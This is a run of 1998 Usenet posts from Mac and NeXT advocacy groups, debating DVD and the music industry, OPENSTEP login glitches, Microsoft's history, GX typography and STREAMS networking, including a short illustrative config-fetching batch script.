>> science so we all lose. Ambisonics would be the thing to standardize on
>> and would make DVD worthwhile.
>>
>> Otherwise, its just snazzed-up laserdisc in a smaller package, optionally
>
>This is a silly statement. Anyone who knows anything about home theater
>will tell you that 95% of the Laser Discs players out there are solely
>analog [can you say 'chroma noise' and related garbage artifacts ?] with a
>two channel maximum.
And some videophiles will complain that MPEG is inherently lossy, and
laserdisc isn't. I don't think MPEG compression is a big deal though,
neither do I think the artifacts you mention in a laserdisc are a big
deal. When TV's stop being analog devices and color gas plasma large
screen flat displays become the norm, DVD will have its place.
BUT the stooopid digital TV consortium here in the US is totally split on
what format to use out of the 6 sub-formats available in MPEG-2 for
broadcast on digital TV. Some even want to standardize broadcasts on
interlaced signals. MS is lobbying for a non-interlaced, but lowest-res
disaply so it will make MS set-top computer boxes cheaper to make (Gates
has personally lobbied for this).
So Digital TV has been delayed, isn't being standardized on, DVD is very
far from being a standardized recordable format and isn't even fully
spec'ed out for a playback format, and we also have to put up with
insanity like DVX trying to be shoved down consumer's throats.
>Not to mention all the disc flipping to just watch a
>single two and a half hour movie and Laser Discs are limited to 16-bit
>44.1 kHz sound. DVD is purely digital with the 5.1 standard [basically six
>seperate channels] and exclusively uses MPEG-2 compression. DVDs handle
>super fidelity 24-bit 96kHz DAC sound.
Ah, good example of how the industry turns the consumer into a
near-senseless marketing drone. Focussing on marginal-gain stats like
higher fidelity digital audio (yes, the sounds beyond our hearing range
cause wave interference with sounds in our hearing range, making them
indirectly audible, and that sound is not fully captured in current CDs,
however 90% of the people out there have very lousy speakers and amps
anyway, investing in low-quality systems like the consumer line made by
Bose). Priorities, its all about priorities. A system like Ambisonics
in widespread use would do the consumer more good than higher fidelity
right now.
Eh, most audio components are a joke anyway, they have at least a 50%
markup to begin with, and all their interfaces SUCK. The reason why
people put up with Windows is because every other freakin' piece of
electric gadgets have some of the worst interfaces imaginable, like
Yamaha's current programmable remote they bundle with their receivers.
(Anyone know if Apple did actually sign a deal with Apple Records that
they wouldn't go into the music biz? It would be cool if Apple could make
stereo equipment and integrate it with personal computers...)
>Like 78's to 45's to EP's to LP's to CDs _OR_ 8-Tracks to Cassettes to
>DAT? DVD is the most logical upgrade to these audio mediums as a single
>DVD can hold 9.4 Gigabytes of information [4.7 gigs per side]!
Try talking about how this actually positively affects the consumer's
life, especially relative to other kinds of leisure/community activities.
Or at least be aware of what's actually going on in the industry - to
jump-start CD sales, the recording industry banded together and halted all
buy-backs of vinyl from stores, but continued buy-back of cassettes and
CDs, while lowering CD prices. This put the brakes on the amount
of vinyl being purchased by stores, artifically changing the
consumer marketplace. Meanwhile, the recording industry cunningly kept CD
prices higher than vinyl while maintaining a lower-percentage cut of the
profits for the artists. So artists gained nothing monetarily from CDs,
that money went right to the recording industry companies. And while the
cost of manufacturing CDs has gone down significantly to an average of $1
a disc, the idustry has managed to increase the price over time, even
attempting to price-fix it across the board at $20. I also refer you to:
http://www.beacham.com/audio_ripoff_190.html
"...Perhaps worst of all, American consumers are required to pay a
federally mandated tax on the purchase of all new digital tape recorders
and recording media. The proceeds of this tax, which is collected by the
U.S. government, goes directly to the coffers of the music industry..."
DO NOT for one second think that the electronics/music industry is working
for the consumer or the music artist. They are working for themselves,
plain and simple, and they will use technology to make more moeny/gain
more control as much as they possibly can. What force/incentive do they
have working against them? Certainly not you, the consumer.
>> (Actually DVD does have the ability to encode several camera angles and
>> allow the viewer to switch between them, unlike laserdisc. Most likely
>
>...and many DVD titles also can be played in 28 different languages, fully
>implimented closed captioning per language, multiple versions of the movie
>like the Directors cut, long box formatting, etc.
...and DVD titles can't be copied easily (even to ANALOG cassette), and
if they had their way they'd have you pay every time you watch a DVD title
and know every time you watch a DVD title (it's called DVX).
>> the designers had porn movies in mind - it was porn movies that sold VCRs
>> and made them popular. So I'm sure it will sell DVD and it will become
>> popular.)
>
>I have yet to see a single porno DVD movie for sale in the United States.
http://www.dvdmpeg.com/
The VideoCD (MPEG-1 movies on CD) format is very big in Asia because of
that genre, and because CDs are easy to copy. One of the reasons why the
Asian Sega Saturn has built-in VideoCD capability.
The underlying purpose of DVD is twofold:
1) to make the recording/movie/electronics industry more money
2) to crack down, perhaps totally eliminate piracy
3) make the consumer think they need to spend more money and justify it to
themselves and others
(#2, implimented like DVX, would be shooting the industry in the foot
though, as a small amount of piracy is a good thing in a digital economy
as it it acts like free advertising - a productive middle ground would be
one where it is difficult to pirate and there is no large-scale pirating
like what we have in China today.)
I figure in about 5 years things will be standardized, I'll be able to buy
an affordable digital flat screen (DVD gets converted to analog at some
stage on every device except a notebook computer - flat screens for
desktops have an A->D converter to take in the analog VGA/DB-15/BNC/13W3
signal). Until then, I consider 90% of the A/V consumer junk out there to
be a pragmatic/economic farce.
--
Nathan Raymond
http://www.everythingmac.com
From: agave@blight.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.system
Subject: Re: Shaking input box
Date: Fri, 05 Jun 1998 16:22:29 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6l9605$604$1@nnrp1.dejanews.com>
References: <6l6t5u$c3k$2@ns3.vrx.net>
In article <6l6t5u$c3k$2@ns3.vrx.net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
>
>
> However about 1/3rd of the time I use it, I get something else entirely.
> When the system gets ready to run again, the login box appears and starts
> shaking back and forth, as if I had typed in the wrong name/passwork. This
> continues for some time, and the spinny cursor comes up. Sometimes it
stops
> and everything is well, othertimes it goes "forever".
>
> Anyone know what this is?
I get this 100% of the time that I use the 'console' login (OPENSTEP
Mach/Intel 4.2). I can't tell you why it happens but if you press any key
(well any key that would result in a character displaying) it will stop
shaking as soon as it gets that input... at least it won't go on forever :P
4.1 and 3.3 don't have this problem as far as I know.
-Ian P. Cardenas
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: rjvârgâs@mêgsinêt.nêt (RØß J Vargas)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Ummm, excuse me, mr jobs?
Date: Fri, 5 Jun 1998 10:35:20 -0500
Organization: Valu-Tek Computers
Message-ID: <MPG.fe1cc3464535a439896aa@megsnews.megsinet.net>
References: <6kfqnb$4jj$1@newsfep2.sprintmail.com> <jayfar-2605982311490001@downtown1-18.slip.netaxs.com> <morbius-2605982210170001@1cust85.tnt1.santa-monica2.ca.da.uu.net> <jayfar-2705980213030001@downtown1-4.slip.netaxs.com> <6l4dpu$rjh$3@news01.btx.dtag.de>
In article <6l4dpu$rjh$3@news01.btx.dtag.de>, Fam.Traeger@t-online.de
says...
> Jayfar <jayfar@netaxs.com> wrote:
>
> > In considering the moral character of the two Steves, I like to compare
> > them to two recent U.S. presidents: Jobs is Richard Nixon; Woz is Jimmy
> > Carter.
>
> And Gates is like a german leader of state who had power much too long -
> no, not Hitler but Helmut Kohl. Both had their biggest success fall
> right into their lap and are making people think it's not so.
>
> Lars T.
>
Fall right into their lap? Half-truth, at best. At a time when IBM was
seeking an OS for its PC, and Microsoft did only programming
languages(and only BASIC at that, if I remember right), a little company
with this little OS called DOS offered it to Microsoft, and Microsoft
took it. There were also some very shrewd moves in the agreements around
what then became MS-DOS that caught IBM unaware, and put Microsoft on the
road to what it is now.
Microsoft's had its share of awesome luck, that I don't deny. But Bill's
made several very good moves, and SPOTTED those opportunities when they
came along. I think you grossly understate how important a talent that
is.
--
RØß <-- Do you know how BORED a guy has to be to decide
he wants to know how to do this?
From: <ted.allen.nospam@theory1.physics.wisc.edu> Theodore J. Allen
Newsgroups: comp.sys.next.advocacy
Subject: Re: Shaking input box
Date: 5 Jun 1998 15:35:54 GMT
Organization: University of Wisconsin, Madison
Message-ID: <6l938q$o4o$1@news.doit.wisc.edu>
References: <6l6t5u$c3k$2@ns3.vrx.net> <6l8fil$ff4@ragnarok.en.uunet.de> <6l8phs$emp$4@news.idiom.com>
This shaking loginwindow happens to me on 3.3 after
I type exit in the username slot as well. I've found
that it's best to hit the backspace key and hold it
until the shaking stops (and beeps are heard...)
--
Ted Allen, Ph.D.
High Energy Physics
University of Wisconsin-Madison
Ted.Allen@theory1.physics.wisc.edu
http://theory1.physics.wisc.edu/~tjallen/
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.system
Subject: Re: Shaking input box
Date: 5 Jun 1998 12:18:53 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l8nnd$n49$2@ns3.vrx.net>
References: <6l6t5u$c3k$2@ns3.vrx.net> <6l9605$604$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: agave@blight.com
In <6l9605$604$1@nnrp1.dejanews.com> agave@blight.com claimed:
> I get this 100% of the time that I use the 'console' login (OPENSTEP
> Mach/Intel 4.2). I can't tell you why it happens but if you press any key
> (well any key that would result in a character displaying) it will stop
> shaking as soon as it gets that input... at least it won't go on forever :P
> 4.1 and 3.3 don't have this problem as far as I know.
I try typing but don't get anything.
Maury
From: justincsNOSPAM@psi.net (Justin Case)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Fri, 05 Jun 1998 14:04:38 -0500
Organization: Oh, for the hell of it.
Message-ID: <justincsNOSPAM-0506981405060001@ip28.pontiac.mi.pub-ip.psi.net>
References: <atlauren-0306981238320001@jungleland.acs.uci.edu> <6l6hdj$mp2$1@new-news.cc.brandeis.edu> <justincsNOSPAM-0506980020570001@ip185.pontiac.mi.pub-ip.psi.net> <6l963u$ps3$1@new-news.cc.brandeis.edu>
-y%"%xcYz/}y+:xU3BN;]\1<'w@TnK1[_d9)>|(Z{XP1+6@2c?w\kAE0l;jn),:.Bl/B
TD(@MtZ''BCd^X}97=;v`4~%bNx+5bYnFhHC!Q4V"\:@XY:sL"B5$$8:54<"mAKy77!l
In article <6l963u$ps3$1@new-news.cc.brandeis.edu>, xray@cs.brandeis.edu
(Nathan G. Raymond) wrote:
[snip]
> >> Otherwise, its just snazzed-up laserdisc in a smaller package, optionally
> >
> >This is a silly statement. Anyone who knows anything about home theater
> >will tell you that 95% of the Laser Discs players out there are solely
> >analog [can you say 'chroma noise' and related garbage artifacts ?] with a
> >two channel maximum.
>
> And some videophiles will complain that MPEG is inherently lossy, and
> laserdisc isn't. I don't think MPEG compression is a big deal though,
> neither do I think the artifacts you mention in a laserdisc are a big
> deal. When TV's stop being analog devices and color gas plasma large
> screen flat displays become the norm, DVD will have its place.
The artifacts as well as the audio hiss of LDs is a BIG DEAL to me!
There's no comparision between the anaolg LDs and the digital DVD! DVD is
amazing, especially when viewed side by side to LD. Go to Best Buy or some
other store and do the comparision yourself.
> BUT the stooopid digital TV consortium here in the US is totally split on
> what format to use out of the 6 sub-formats available in MPEG-2 for
> broadcast on digital TV. Some even want to standardize broadcasts on
> interlaced signals. MS is lobbying for a non-interlaced, but lowest-res
> disaply so it will make MS set-top computer boxes cheaper to make (Gates
> has personally lobbied for this).
Agreed. Just so there's no room for misunderstanding - I am a Mac user and
in no way agree with Bill Gates!
> So Digital TV has been delayed, isn't being standardized on, DVD is very
> far from being a standardized recordable format and isn't even fully
> spec'ed out for a playback format, and we also have to put up with
> insanity like DVX trying to be shoved down consumer's throats.
>
> >Not to mention all the disc flipping to just watch a
> >single two and a half hour movie and Laser Discs are limited to 16-bit
> >44.1 kHz sound. DVD is purely digital with the 5.1 standard [basically six
> >seperate channels] and exclusively uses MPEG-2 compression. DVDs handle
> >super fidelity 24-bit 96kHz DAC sound.
>
> Ah, good example of how the industry turns the consumer into a
> near-senseless marketing drone. Focussing on marginal-gain stats like
> higher fidelity digital audio (yes, the sounds beyond our hearing range
> cause wave interference with sounds in our hearing range, making them
> indirectly audible, and that sound is not fully captured in current CDs,
> however 90% of the people out there have very lousy speakers and amps
> anyway, investing in low-quality systems like the consumer line made by
> Bose). Priorities, its all about priorities. A system like Ambisonics
> in widespread use would do the consumer more good than higher fidelity
> right now.
Be careful here, as audiophiles _and_ videophiles DO own good speakers and
components. The mainstream of consumers never bought LD and are pretty
much oblivious to DVD at this point. As LP's went to the wayside and CD
came into view - it took time. DVD will make the conversion from VHS,
count on it.
> Eh, most audio components are a joke anyway, they have at least a 50%
> markup to begin with, and all their interfaces SUCK. The reason why
So what? Competitive shopping practices can easily erase that.
> people put up with Windows is because every other freakin' piece of
> electric gadgets have some of the worst interfaces imaginable, like
> Yamaha's current programmable remote they bundle with their receivers.
> (Anyone know if Apple did actually sign a deal with Apple Records that
> they wouldn't go into the music biz? It would be cool if Apple could make
> stereo equipment and integrate it with personal computers...)
>
> >Like 78's to 45's to EP's to LP's to CDs _OR_ 8-Tracks to Cassettes to
> >DAT? DVD is the most logical upgrade to these audio mediums as a single
> >DVD can hold 9.4 Gigabytes of information [4.7 gigs per side]!
>
> Try talking about how this actually positively affects the consumer's
> life, especially relative to other kinds of leisure/community activities.
Once DVD takes over the CD Rom drives of PCs & Macs - you'll feel the
impact of these disks and their *enormous* storage capabilities. It'll be
nice to buy a video game like the Journeyman Project (4-CD's) and see it
held one DVD!
> Or at least be aware of what's actually going on in the industry - to
> jump-start CD sales, the recording industry banded together and halted all
> buy-backs of vinyl from stores, but continued buy-back of cassettes and
> CDs, while lowering CD prices. This put the brakes on the amount
> of vinyl being purchased by stores, artifically changing the
> consumer marketplace. Meanwhile, the recording industry cunningly kept CD
> prices higher than vinyl while maintaining a lower-percentage cut of the
> profits for the artists. So artists gained nothing monetarily from CDs,
> that money went right to the recording industry companies. And while the
> cost of manufacturing CDs has gone down significantly to an average of $1
> a disc, the idustry has managed to increase the price over time, even
> attempting to price-fix it across the board at $20. I also refer you to:
>
> http://www.beacham.com/audio_ripoff_190.html
>
> "...Perhaps worst of all, American consumers are required to pay a
> federally mandated tax on the purchase of all new digital tape recorders
> and recording media. The proceeds of this tax, which is collected by the
> U.S. government, goes directly to the coffers of the music industry..."
>
> DO NOT for one second think that the electronics/music industry is working
> for the consumer or the music artist. They are working for themselves,
> plain and simple, and they will use technology to make more moeny/gain
> more control as much as they possibly can. What force/incentive do they
> have working against them? Certainly not you, the consumer.
That's apparent *outside* of DVD and mainstream consumer electronics. Go
to the movie theater or a sporting event to see the incredible amounts of
money these industries charge for entertainment. That's exactly why I got
into home theater in the first place! My wife and I have agreed to
boycott the movie theaters because $7.50 per ticket is fraudulent! With a
family of four going to the movies, buying consessions and dealing with
poor audience behavior, we were paying about $50.00 per movie. Throw
dinner on top of that and transportation costs, a family night out at the
movies is nearly a hundered dollars! That's my justification for investing
in home theater, with top quality components, DVD and DVD movies at about
$20.00 per flick.
[snip]
> >I have yet to see a single porno DVD movie for sale in the United States.
>
> http://www.dvdmpeg.com/
>
> The VideoCD (MPEG-1 movies on CD) format is very big in Asia because of
> that genre, and because CDs are easy to copy. One of the reasons why the
> Asian Sega Saturn has built-in VideoCD capability.
>
> The underlying purpose of DVD is twofold:
>
> 1) to make the recording/movie/electronics industry more money
> 2) to crack down, perhaps totally eliminate piracy
> 3) make the consumer think they need to spend more money and justify it to
> themselves and others
>
> (#2, implimented like DVX, would be shooting the industry in the foot
> though, as a small amount of piracy is a good thing in a digital economy
> as it it acts like free advertising - a productive middle ground would be
> one where it is difficult to pirate and there is no large-scale pirating
> like what we have in China today.)
>
> I figure in about 5 years things will be standardized, I'll be able to buy
> an affordable digital flat screen (DVD gets converted to analog at some
> stage on every device except a notebook computer - flat screens for
> desktops have an A->D converter to take in the analog VGA/DB-15/BNC/13W3
> signal). Until then, I consider 90% of the A/V consumer junk out there to
> be a pragmatic/economic farce.
First of all, pirating *any* medium [computer software, movies, music,
etc.] is illegal. Why would anyone want to record a DVD movie to VHS, as
the whole purpose of DVD is quality of sound and video. VHS can in *noway*
even remotely compare, in quality to DVD.
--Justin
"What's new, Normie?"
"Terrorists, Sam. They've taken over my stomach and they're demanding beer."
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Merced delay affect Apple?
Date: 5 Jun 1998 18:19:09 GMT
Organization: University of California at San Diego
Message-ID: <slrn6ngdkt.spt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <3571ffa9.0@news.camtech.net.au> <B1985DE1-DED833@141.214.128.36>
On Mon, 01 Jun 1998 17:28:08 GMT, Robert A. Decker <comrade@umich.edu> wrote:
:
: But this shows Microsoft's incompetency. Why should they have to put the
:compatibility in the chip and not the OS? It seems backwards.
Imagine you're Microsoft. Why should you bother? Customers are stuck with
Windows no matter what.
It is Not Your Problem.
Better to spend the money on cutting off Oracle's air supply {like
integrating databases with NT Server}, once you've dumped Netscape's body in
the East River.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Fri, 5 Jun 1998 18:59:44 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1da562z.1be27w1an0etmN@cetus203.wco.com>
References: <6kejq7$6na$1@bartlet.df.lth.se> <B1906698-5F2F7@206.165.43.154> <1d9pjdq.1drqzt8l2l0zwN@carina43.wco.com> <B1924891-1589E@206.165.43.70> <6kj771$3v3$1@ironhorse.plsys.co.uk> <B1927A7F-2C857@206.165.43.156> <6kjhrh$2fh$1@bartlet.df.lth.se> <rex-2805981447420001@192.168.0.3> <6kkfev$ojb$1@news.cs.tu-berlin.de> <rex-2805981808060001@192.168.0.3> <6km24a$s3m$3@ns3.vrx.net> <B1943079-ED44D@206.165.43.122> <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l141h$ig9$1@news.cs.tu-berlin.de> <rex-0206981543010001@192.168.0.3> <6l1pjm$s30$1@news.cs.tu-berlin.de> <rex-0206981940440001@192.168.0.3> <6l2q9p$cjt$1@news.cs.tu-berlin.de> <rex-0306981328290001@192.168.0.3> <1da1oie.1qay520aezixhN@cetus202.wco.com> <6l5n29$ebr$1@ns3.vrx.net>
Maury Markowitz <maury@remove_this.istar.ca> wrote:
> I know it doesn't solve issues about sync and such, but to me it seems that
> if you can dump to PDF and freeze it, there's a mechanism in place for
> pass-by-value in there somewhere. No?
It sure looks that way, doesn't it? :-)
--
Mike Paquette mpaque@wco.com
Well, if there *were* anything to say, it would be with the
understandingthat the PR/Marketing people want to make the
announcements on products,so anything I have to say wouldn't
actually exist until after then, sowhat I might have to say now
doesn't exist, and what I may say in future can't be said, so
theoretically what exists, doesn't, for the immediate future.
(With apologies to Joe Straczynski)
From: zalta@mally.Stanford.EDU (Edward N. Zalta)
Newsgroups: comp.sys.next.advocacy
Subject: Any chance OPENSTEP for Mach on G3?
Date: 5 Jun 1998 19:24:58 GMT
Message-ID: <6l9gma$shl$1@nntp.Stanford.EDU>
Are there other people out there, like myself, who prefer the OPENSTEP
GUI to the Mac, and who run such programs as:
LaTeX/TeX/TeXView.app, Mathematica, Emacs frontend, NXHosting on
networked NeXTSTEP/OPENSTEP boxes, sendmail, Apache httpd,
perl, elm, pine, dvips, lynx (ncurses), glimpse, wwwstat, wusage,
pgp, shell scripts, shell scripts which call nidump and niload in
Netinfo, CubX/Netscape from another server, NeXTmail, Librarian,
NewsFlash, GifOMatic,GatorFTP, Fiend, OpenWrite, WriteUp, and
OmniWeb.
I use these apps (among others) all the time on my NeXT Color Turbo
(with 128MB RAM). I would like to get a faster machine, based on
Motorola G3 technology, that has these features of OPENSTEP and
preserves the GUI. Are there enough of us out there to organize a
campaign, or is that absolutely positively dead in the water?
This is not an incitement to flame. Only a query.
Ed
--
Edward N. Zalta
Senior Research Scholar,
Center for the Study of Language and Information
Consulting Associate Professor,
Department of Philosophy
Stanford University
Home Page URL = http://mally.stanford.edu/zalta.html
From: ink@inconnu.isu.edu (Craig Kelley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 5 Jun 1998 13:23:44 -0600
Organization: Idaho State University
Message-ID: <6l9gk0$cqd$1@inconnu.isu.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6jtgid$vp6$5@ligarius.ultra.net> <6jv16u$hn4$1@inconnu.isu.edu> <6l6h1u$cd33@eccws1.dearborn.ford.com>
In article <6l6h1u$cd33@eccws1.dearborn.ford.com>,
Ken Fox <kfox@pt0204.pto.ford.com> wrote:
->> The _whole point_ of having an operating system is so that every
->> application needn't include support for every possible function. Why
->> on earth would I ever need to include a browser in my application?
[snip]
->It is very nice to have browser and web functionality available as
->a library for other apps to use. The Netscape "remote control" doesn't
->quite do it. For example, sometimes we'd like to fetch configuration
->files via HTTP. (We use an embedded Perl module for this now.)
My point exactly. Why would you need a 20+ MB "application" like
Internet Explorer or Netscape to do this job? This lame mentatlity
that everything must become a system service object is extremely
ridiculous. Why even have an operating system at all??
$ ls -l wget
-rwxr-xr-x 1 root root 81488 Jun 5 13:05 wget*
Hm, 81k. And it can fetch any common URL recursivly, _and_ it can
continue with an interrupted download. Use a web browser for
_browsing_ and use other, more appropriate tools for other functions.
With a shell script, wget becomes "integrated" into the operating
system without the need for some clunky API which will change with
each version; my OEM can install Netscape as well. I can also nuke
Netscape and my system is still 100% functional.
I don't think I'll ever understand Windows folk. They take simple,
working systems and re-design them with grad sweeps of the proverbial
brush. Every once in a while they come up with a gem (MS Access),
but by-and-large it is a waste of time and money.
->It would have been simple for Netscape to release a library and documented
->API that allowed other app developers to use the functions in other apps.
->Too bad Netscape didn't do that -- it opened a door for Microsoft. I'm
->happy that Microsoft saw the possibility and built the library.
Whoopee. Its really too bad you didn't investigate other, more
appropriate tools.
->*However*, it should be done in a way such that Netscape can provide
->a replacement library with enhanced features. It should be done in a
->way such that the Microsoft library is not part of the base OS, but
->a priced option or secondary product.
It's called the "shell" (command.com), and it has been around for a
long time. There is no need for this new API, apart from putting
Netscape out of business:
___Cut Here___
REM Batch file to get and install remote configuration files
REM This is untested, but you'll get the idea.
REM First, get the remote files...
cd %TEMP%
wget http://myserver.com/private/configuration/files
REM Now we need to replace some files in the system root...
copy somefile %SYSTEMROOT%
REM Now we should change some registry settings
regedit /i /q somefile.reg
REM Start some stuff
start /m winpopup.exe
netdde.exe
net use f: \\myserver\homes
REM Clean up
deltree /q configfiles
--
Wheel is turning, but the hamster is dead.
Craig Kelley -- kellcrai@isu.edu
http://www.isu.edu/~kellcrai finger ink@inconnu.isu.edu for PGP block
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 5 Jun 1998 12:33:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19D95D9-A7CFB@206.165.43.46>
References: <6l973o$adf$7@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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mmalcolm crawford <malcolm@plsys.co.uk> said:
>In <B19C18B8-A6310@206.165.43.122> "Lawson English" wrote:
>
>> > > GX is the most elegant and compact solution to this problem that
>anyone
>> > > has ever come up with. (Go on, prove me wrong...)
>> > >
>> >At a guess: ATSUI.
>>
>> For handling of multiple languages (leaving aside the unified Han
>> issue), ATSUI will likely do everything that GX does, formatting-wise.
>> However, there's lots of extra high-end stuff that I'm betting hasn't
>> made it into the first version of ATSUI and may never make it it
>> unless programmers ask for it.
>>
>Typical Chicken Little behaviour from Lawson...
>
>http://www.developer.com/calendar/minisites/wwdc98/105futureoftext/
>tsld013.htm
>
>ATSUI and GX
>
[vague comments that can't be interpreted snipt]
Since you don't know what is in GX typography, you have no idea what they
may or may not mean by "advanced typographical features," do you?
Is the ability to apply a 3x3 transform matrix to a sub-layer of a glyph to
create a custom stylistic variation an "advanced typographical feature?"
If so, then they need to have a graphical system that handles 3x3 transform
matrices.
Is the ability to apply any and all GX stylistic variations (e.g. patterns,
miters, joins, etc) to such a layer, an "advanced typograpnical feature?"
If so, then they need to have an integrated graphical system that handles
these options.
There's 500 pages to the GX typographical manual.
How do YOU know what they mean when they say tha they are retaining
"advanced typographical features?"
Define "typographical" in reference to GX Typography.
>
>Best of all, it looks like this is adhering to *standards*.
>
>
The GXifier font utility has ALWAYS added the Unicode tables to Type 1
fonts. That's how they "GXify" Type 1 fonts.
In other words, GX has ALWAYS supported Unicode. Rather than "adhering to
standards," all they are doing is removing support for non-standard stuff.
This may or may not be a good thing, depending on the utility of the
non-standard way of identifying languages and fonts.
>We're still waiting for you to stop talking about it and start delivering.
>
Health allowing, 0.1a will be out Real Soon Now.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Fam.Traeger@t-online.de (=?ISO-8859-1?Q?Lars_Tr=E4ger?=)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Ummm, excuse me, mr jobs?
Date: 6 Jun 1998 02:02:08 GMT
Organization: That hasn't stoped us from shipping Win'95
Message-ID: <6la7v0$2t9$2@news01.btx.dtag.de>
References: <6kfqnb$4jj$1@newsfep2.sprintmail.com> <jayfar-2605982311490001@downtown1-18.slip.netaxs.com> <morbius-2605982210170001@1cust85.tnt1.santa-monica2.ca.da.uu.net> <jayfar-2705980213030001@downtown1-4.slip.netaxs.com> <6l4dpu$rjh$3@news01.btx.dtag.de> <MPG.fe1cc3464535a439896aa@megsnews.megsinet.net>
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RØß J Vargas <rjvârgâs@mêgsinêt.nêt> wrote:
[I said Bill Gates was just lucky.]
>
> Fall right into their lap? Half-truth, at best. At a time when IBM was
> seeking an OS for its PC, and Microsoft did only programming
> languages(and only BASIC at that, if I remember right), a little company
> with this little OS called DOS offered it to Microsoft, and Microsoft
> took it. There were also some very shrewd moves in the agreements around
> what then became MS-DOS that caught IBM unaware, and put Microsoft on the
> road to what it is now.
>
> Microsoft's had its share of awesome luck, that I don't deny. But Bill's
> made several very good moves, and SPOTTED those opportunities when they
> came along. I think you grossly understate how important a talent that
> is.
And IBM asked DR first (for C/PM), but they came to no deal because
Garry Kiddal (sp?) wasn't home when the guys from IBM came. And then
they asked MS and not somebody who had an OS ready. Three times lucky.
Lars T.
From: Jim.Matthews@dartmouth.edu (Jim Matthews)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Arguments for STREAMS
Date: Fri, 05 Jun 1998 15:46:36 -0400
Organization: Dartmouth College
Message-ID: <Jim.Matthews-ya02408000R0506981546360001@news.dartmouth.edu>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122> <simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6ngd9g.spt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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In article <slrn6ngd9g.spt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
mbkennel <replace this with '@'> yahoo.com wrote:
>Explain what it does better than sockets, and why these abilities should be
>in a kernel-level interface and not an OO API. {this is not a flame, btw!}
The comparison isn't between STREAMS and sockets, it's between STREAMS and
BSD networking. Either base can (and must) support a sockets API (as well
as other APIs).
The arguments for STREAMS as I see them:
1) Extensibility. There are well-understood, platform-independent
mechanisms for adding system-level services, such as new protocol stacks,
transparent firewall support, virtual private networks, porn filters,
session traces, etc. Apple promises to invent their own mechanism for
extending BSD networking to support these services, but the mechanism will
by necessity be proprietary to Apple.
2) Compatibility. STREAMS is the networking architecture for Digital UNIX
and Solaris, as well as Open Transport. Hardware developers can leverage
their driver development effort across multiple targets, making it more
likely that leading edge peripherals will be released for the Mac.
3) Features. Mentat (the vendor of the STREAMS implementation in OT) has
already demonstrated IPv6, and promised support for IPsec. Apple would
have to add those features to a BSD core.
The arguments for BSD:
1) It's free (except for all the work that will need to be done to make it
extensible, and support OT APIs).
2) It's in Rhapsody now.
To me the argument ends up looking a lot like the decision between NuBus
and PCI for the Power Macs. NuBus was already there, and Apple minimized
its risks by sticking with it for the first generation PPC machines. But
instead of putting money and effort into coming up with a proprietary
NuBus++, they then switched to PCI, a multi-platform standard. And thanks
to that decision we now spend $45 for 100BaseT ethernet cards, instead of
$400 (not to mention the fact that there are far more cards to choose
from). Apple may not be able to put STREAMS into Mac OS X, but hopefully
they will commit to doing that eventually, rather than straining to create
a proprietary architecture.
--
Jim Matthews
Dartmouth Software Development
<http://www.dartmouth.edu/pages/softdev/>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: How about something better than what we have now?
Date: 5 Jun 98 11:20:50
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun5112050@slave.doubleu.com>
References: <SCOTT.98Jun4235210@slave.doubleu.com> <B19D5C00-32C09@206.165.43.184>
In-reply-to: "Lawson English"'s message of 5 Jun 1998 08:26:00 -0700
